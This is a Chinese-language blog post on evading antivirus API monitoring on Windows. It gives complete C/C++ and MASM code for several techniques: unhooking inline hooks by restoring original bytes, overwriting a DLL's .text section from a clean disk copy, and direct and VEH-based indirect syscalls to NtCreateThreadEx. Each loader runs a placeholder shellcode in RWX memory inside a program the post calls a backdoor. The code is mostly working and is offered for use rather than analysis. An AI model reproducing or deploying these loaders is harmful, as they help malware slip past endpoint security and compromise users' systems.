API 动态检测规避

1.InlineHook

杀软会通过在 EXE 的 DLL 内存中的函数中加入跳转来监测行为

x64 jmp

不能直接jmp,占 12 字节

mov rax,0x1122334455667788 ; 硬编码 48 B8 8877665544332211
jmp rax ; 硬编码 FFE0

x86 jmp

需要计算,占 5 字节

00401620 jmp 0x12354678 ; 硬编码 E9 5340F411 = (逆序)(0x12345678 - 0x00401625)
00401625 ...

不需要计算,占 7 字节

mov eax,0x12345678 ; 硬编码 B8 78563412
jmp eax ; 硬编码 FFE0

2.UnInlineHook

修正硬编码

将被杀软加入跳转的硬编码改回来

模拟后门

x64Beacon.cpp:

#include <windows.h>

int main() {
    while (true) {
        MessageBoxW(0, L"HexNy0a", L"HACKER", MB_ICONINFORMATION);
    }
}

模拟杀软

流程:

获取监测函数地址
获取 MessageBoxW 地址
构造完整新硬编码
用新硬编码覆盖原硬编码

x64AntiVirus.cpp:

将该 DLL 注入 x64Beacon.exe,对 MessageBoxW 进行 InlineHook

#include "pch.h"
#include <windows.h>
// 新硬编码
BYTE newCode[12] = { 0x48, 0xB8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xFF, 0xE0 };

// 监测函数
void Monitor() {
    MessageBoxA(0, "Hacker ! ! !", "AntiVirus", MB_ICONWARNING); // 弹窗报毒
}

// 挂内联钩子
void InlineHook() {
    // 构造完整新硬编码
    ULONGLONG monitorAddr = (ULONGLONG)Monitor; // 获取监测函数地址
    memcpy(&newCode[2], &monitorAddr, 8); // 将监测函数地址填充到新硬编码

    // 从 user32.dll 获取 MessageBoxW 地址
    FARPROC MessageBoxWAddr = GetProcAddress(GetModuleHandle(L"user32.dll"), "MessageBoxW");

    // 修改 MessageBoxW 前 12 字节内存权限为 RWX
    DWORD oldProtection = NULL;
    VirtualProtect(MessageBoxWAddr, 12, PAGE_EXECUTE_READWRITE, &oldProtection);

    // 用新硬编码覆盖原硬编码
    RtlCopyMemory(MessageBoxWAddr, newCode, 12);
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        InlineHook(); // 挂内联钩子
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

查杀效果

注入 x64AntiVirus.dll 前

注入 x64AntiVirus.dll 后

UnInlineHook 后门

流程:

创建子线程调用内联钩子监测器函数
无限循环进行全硬编码校验
如果发现硬编码发生改变,就将硬编码改回原硬编码

x64Beacon.cpp:

#include <windows.h>

// 原硬编码
BYTE oldCode[83] = { 0x48, 0x83, 0xEC, 0x38, 0x45, 0x33, 0xDB, 0x44, 0x39, 0x1D, 0xAA, 0xF4, 0x03, 0x00, 0x74, 0x2E, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x50, 0x48, 0x33, 0xC0, 0xF0, 0x4C, 0x0F, 0xB1, 0x15, 0xE8, 0xFF, 0x03, 0x00, 0x4C, 0x8B, 0x15, 0xE9, 0xFF, 0x03, 0x00, 0x41, 0x8D, 0x43, 0x01, 0x4C, 0x0F, 0x44, 0xD0, 0x4C, 0x89, 0x15, 0xDA, 0xFF, 0x03, 0x00, 0x83, 0x4C, 0x24, 0x28, 0xFF, 0x66, 0x44, 0x89, 0x5C, 0x24, 0x20, 0xE8, 0xE2, 0xFD, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x38, 0xC3 };

// 去掉内联钩子
void UnInlineHook() {
    // 从 user32.dll 获取 MessageBoxW 地址
    FARPROC MessageBoxWAddr = GetProcAddress(GetModuleHandle(L"user32.dll"), "MessageBoxW");

    // 修改 MessageBoxW 内存权限为 RWX
    DWORD oldProtect;
    VirtualProtect(MessageBoxWAddr, sizeof oldCode, PAGE_EXECUTE_READWRITE, &oldProtect);

    // 用原硬编码覆盖被修改的硬编码
    RtlCopyMemory(MessageBoxWAddr, oldCode, sizeof oldCode);

    // 改回 MessageBoxW 原内存权限
    VirtualProtect(MessageBoxWAddr, sizeof oldCode, oldProtect, &oldProtect);
}

// 内联钩子监测器
DWORD InlineHookMonitor(LPVOID lpParameter) {
    // 全硬编码校验
    while (1) {
        Sleep(500);
        // 硬编码发生变化
        if (memcmp((LPVOID)MessageBox, oldCode, sizeof oldCode) != 0) {
            UnInlineHook(); // 去掉内联钩子
        }
    }
    return 0;
}

int main() {
    // 创建子线程检测 MessageBoxW 是否被挂内联钩子
    CreateThread(NULL, 0, InlineHookMonitor, NULL, 0, NULL);

    // Hacking ! ! !
    while (true) {
        MessageBoxW(0, L"HexNy0a", L"HACKER", MB_ICONINFORMATION);
    }
}

DLL 内存覆盖

流程

创建子线程调用内联钩子监测器函数
无限循环进行全硬编码校验
如果发现硬编码发生改变,就进行 DLL 内存覆盖

DLL 内存覆盖
从文件加载干净的 DLL 映射到进程内存获取被 InlineHook 的 DLL 的句柄等信息
遍历被 InlineHook 的 DLL 的代码段,并用干净的 DLL 代码段进行覆盖

代码编写

#include <windows.h>
#include <psapi.h>

// DLL 内存覆盖
void UnDLLHook(char* dllName, char* dllPath) {
    // 加载干净的 DLL
    HANDLE hDLLFile = CreateFileA(dllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); // 获取 DLL 文件句柄
    HANDLE hDLLMapping = CreateFileMapping(hDLLFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); // 创建 DLL 文件映射对象
    LPVOID dllMappingAddr = MapViewOfFile(hDLLMapping, FILE_MAP_READ, 0, 0, 0); // 将 DLL 文件映射对象映射到进程内存
    CloseHandle(hDLLMapping); // 关闭句柄
    CloseHandle(hDLLFile);

    // 获取被 InlineHook 的 DLL 的信息 (进程运行自动加载的 DLL)
    HMODULE hDLLModule = GetModuleHandleA(dllName); // 获取 DLL 内存句柄
    LPVOID dllBaseAddr = (LPVOID)hDLLModule; // 获取 DLL 基址
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllBaseAddr; // 获取 DOS 头
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBaseAddr + dos->e_lfanew); // 偏移到 NT 头
    FreeLibrary(hDLLModule); // 释放模块

    // 遍历被 InlineHook 的 DLL 的节表 (代码段、数据段等)
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) { // WORD 是因为节总数 NumberOfSections 是 16 位无符号整数
        /*
        * IMAGE_FIRST_SECTION(nt) 为第一个节的地址
        * IMAGE_SIZEOF_SECTION_HEADER 为一个节的大小
        * DWORD_PTR 为无符号整数类型,便于在指针加法中进行偏移量计算
        * 加起来就是当前节地址
        */
        PIMAGE_SECTION_HEADER currentSectionAddr = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(nt) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

        // 用新加载干净的 DLL 代码段内存覆盖被 InlineHook 的 DLL 代码段内存
        if (!strcmp((char*)currentSectionAddr->Name, (char*)".text")) { // 当前节是代码段
            // 当前节权限改为 RWX
            DWORD oldProtect;
            VirtualProtect((LPVOID)((DWORD_PTR)dllBaseAddr + (DWORD_PTR)currentSectionAddr->VirtualAddress), currentSectionAddr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
            // 覆盖当前节内存
            memcpy((LPVOID)((DWORD_PTR)dllBaseAddr + (DWORD_PTR)currentSectionAddr->VirtualAddress), (LPVOID)((DWORD_PTR)dllMappingAddr + (DWORD_PTR)currentSectionAddr->VirtualAddress), currentSectionAddr->Misc.VirtualSize);
            // 当前节权限改回原权限
            VirtualProtect((LPVOID)((DWORD_PTR)dllBaseAddr + (DWORD_PTR)currentSectionAddr->VirtualAddress), currentSectionAddr->Misc.VirtualSize, oldProtect, &oldProtect);
        }
    }
}

// 内联钩子监测器
DWORD InlineHookMonitor(LPVOID lpParameter) {
    // 原硬编码
    BYTE oldCode[83] = { 0x48, 0x83, 0xEC, 0x38, 0x45, 0x33, 0xDB, 0x44, 0x39, 0x1D, 0xAA, 0xF4, 0x03, 0x00, 0x74, 0x2E, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x50, 0x48, 0x33, 0xC0, 0xF0, 0x4C, 0x0F, 0xB1, 0x15, 0xE8, 0xFF, 0x03, 0x00, 0x4C, 0x8B, 0x15, 0xE9, 0xFF, 0x03, 0x00, 0x41, 0x8D, 0x43, 0x01, 0x4C, 0x0F, 0x44, 0xD0, 0x4C, 0x89, 0x15, 0xDA, 0xFF, 0x03, 0x00, 0x83, 0x4C, 0x24, 0x28, 0xFF, 0x66, 0x44, 0x89, 0x5C, 0x24, 0x20, 0xE8, 0xE2, 0xFD, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x38, 0xC3 };

    // 全硬编码校验
    while (1) {
        Sleep(500);
        // 硬编码发生变化
        if (memcmp((LPVOID)MessageBox, oldCode, sizeof oldCode) != 0) {
            UnDLLHook((char*)"user32.dll", (char*)"C:\\windows\\system32\\user32.dll"); // DLL 内存覆盖
        }
    }
    return 0;
}

int main() {
    // 创建子线程检测 MessageBoxW 是否被挂内联钩子
    CreateThread(NULL, 0, InlineHookMonitor, NULL, 0, NULL);

    // Hacking ! ! !
    while (true) {
        MessageBoxW(0, L"HexNy0a", L"HACKER", MB_ICONINFORMATION);
    }
}

3.API 构造

用户层 API 会继续调用其他用户层 API,最终在 ntdll.dll 中通过一个 Nt 开头的 API 调用 syscall 进入内核层

所以通过自己构造用户层最后一个 API 可以避免用户层 InlineHook

NtCreateThreadEx 函数

先看一下函数汇编是什么 (不同系统调用号 (C7) 可能不同)

初步构造

通过汇编构造 NtCreateThreadEx 函数来调用

代码编写:

x64 不能直接在 C 代码中写汇编

你的项目名->生成依赖项->生成自定义->masm

视图->解决方案资源管理器->源文件->添加->新建项->x64.asm

x64.asm->属性->项类型(Microsoft Macro Assembler)

x64.asm (自己构造的 NtCreateThreadEx 函数):

.CODE
    NtCreateThreadEx proc
    mov r10,rcx
    mov eax,0C7h
    syscall
    ret
    NtCreateThreadEx endp
END

x64.cpp:

#include <windows.h>

// 声明自定义函数
EXTERN_C NTSTATUS NtCreateThreadEx(PHANDLE hThread, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, HANDLE ProcessHandle, PVOID lpStartAddress, PVOID lpParameter, ULONG Flags, SIZE_T StackZeroBits, SIZE_T SizeOfStackCommit, SIZE_T SizeOfStackReserve, PVOID lpBytesBuffer);

int main() {
    unsigned char buf[] = "ShellCode";

    void* p = VirtualAlloc(NULL, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    CopyMemory(p, buf, sizeof buf);

    // 创建线程调用 ShellCode
    HANDLE hThread;
    NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), p, NULL, FALSE, NULL, NULL, NULL, NULL);
    WaitForSingleObject(hThread, INFINITE);
}

更合理的构造

初步构造中调用 NtCreateThreadEx 进入内核层后,回到用户层时直接回到了主程序,应该先回到 ntdll.dll 才合理

所以不应该调用自己写的 syscall,而应该从原本的 NtCreateThreadEx 中获取 syscall 的地址来调用

流程:

注册 VEH 异常处理函数,内容是构造 NtCreateThreadEx,其中 syscall 通过地址调用
通过 NULL 调用 NtCreateThreadEx 触发异常进入 VEH 处理函数

x64.cpp:

直接在 Visual Studio 运行会报错,要双击 EXE 运行

#include <windows.h>

// 定义函数指针类型
typedef DWORD(WINAPI* NtCreateThreadEx)(PHANDLE hThread, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, HANDLE ProcessHandle, PVOID lpStartAddress, PVOID lpParameter, ULONG Flags, SIZE_T StackZeroBits, SIZE_T SizeOfStackCommit, SIZE_T SizeOfStackReserve, PVOID lpBytesBuffer);

// 获取 syscall 的地址
BYTE* GetSyscallAddr() {
    // 从 ntdll.dll 获取 NtCreateThreadEx 的地址
    ULONG_PTR pNtCreateThreadEx = (ULONG_PTR)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx");

    // 找到 syscall 并返回地址
    BYTE* funcAddr = (BYTE*)pNtCreateThreadEx;
    while (funcAddr++) {
        BYTE* tempAddr = funcAddr;
        if (*tempAddr == 0x0F && *(tempAddr + 1) == 0x05 && *(tempAddr + 2) == 0xC3) {
            return funcAddr;
        }
    }
}

// VEH 异常处理函数
LONG WINAPI VectExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo) {
    // 处理运行时错误异常
    if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
        // 构造 NtCreateThreadEx 函数
        pExceptionInfo->ContextRecord->R10 = pExceptionInfo->ContextRecord->Rcx; // mov r10,rcx
        pExceptionInfo->ContextRecord->Rax = 0xC7; // mov eax,0xC7
        pExceptionInfo->ContextRecord->Rip = (ULONG_PTR)GetSyscallAddr(); // 获取 syscall 的地址并调用
        return EXCEPTION_CONTINUE_EXECUTION; // 继续执行异常代码之后的代码
    }
    return EXCEPTION_CONTINUE_SEARCH; // 找其他 VEH 异常处理函数
}

int main() {
    unsigned char buf[] = "ShellCode";

    void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, buf, sizeof(buf));

    // 注册 VEH 异常处理函数
    AddVectoredExceptionHandler(1, VectExceptionHandler); // 第一个调用

    // 通过 NULL 创建线程调用 ShellCode,触发异常进入 VEH 异常处理函数
    HANDLE hThread;
    NtCreateThreadEx pNtCreateThreadEx = NULL;
    pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), p, NULL, FALSE, NULL, NULL, NULL, NULL);
    WaitForSingleObject(hThread, INFINITE);
}

4.未文档化 API

通过调用杀软未知的等效 API 来绕过动态 API 监测

posted @ 2023-05-10 13:19  Hacker&Cat  阅读(276)  评论(0编辑  收藏  举报